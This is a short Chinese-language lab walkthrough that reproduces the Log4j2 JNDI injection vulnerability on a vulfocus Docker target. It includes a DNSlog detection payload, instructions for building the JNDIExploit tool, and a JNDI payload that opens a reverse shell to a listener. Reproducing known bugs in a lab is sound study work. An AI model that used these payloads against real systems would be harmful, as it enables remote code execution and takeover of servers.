原理
log4j2的log处理中,检测到${} 字符就会使用JNDI的lookup解析其中字符串。
首先攻击者开启远程ldap服务,并指定远程url恶意代码
使用${}包裹参数,log4j发现是jndi并请求ldap服务,会将ldap指向的恶意代码本地执行
复现
使用vulfocus 一键搭建
1,启动vulfocus镜像
docker create -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=172.17.0.1 vulfocus/vulfocus
VUL_IP:vulfocus的地址,填入ifconfig中的Docker0的网卡地址,
使用docker ps 查看已经启动的镜像

docker start [CONTAINER ID] 后台运行它

进入本机80端口,使用admin/admin登录
镜像可以进入https://hub.docker.com/u/vulfocus导入
进入

进入/hello 使用hackbar传入payload参数

使用dnslog 外带检测一下
${jndi:ldap://a93jaj.dnslog.cn/etc}

查看dnslog ,证明漏洞存在

使用vps对漏洞进行利用
使用工具
https://github.com/zzwlpx/JNDIExploit
clone下来需要使用mvn clean package进行打包为jar

java -jar JNDIExploit-1.0-SNAPSHOT.jar -i [Local ip address

另开终端 使用-u命令查看用法

payload=${jndi:ldap://null:1389/TomcatBypass/ReverseShell/[ip]/[port]}
同时使用终端监听7777端口

试了好几次都失败,原来是防火墙忘了关了。。。。

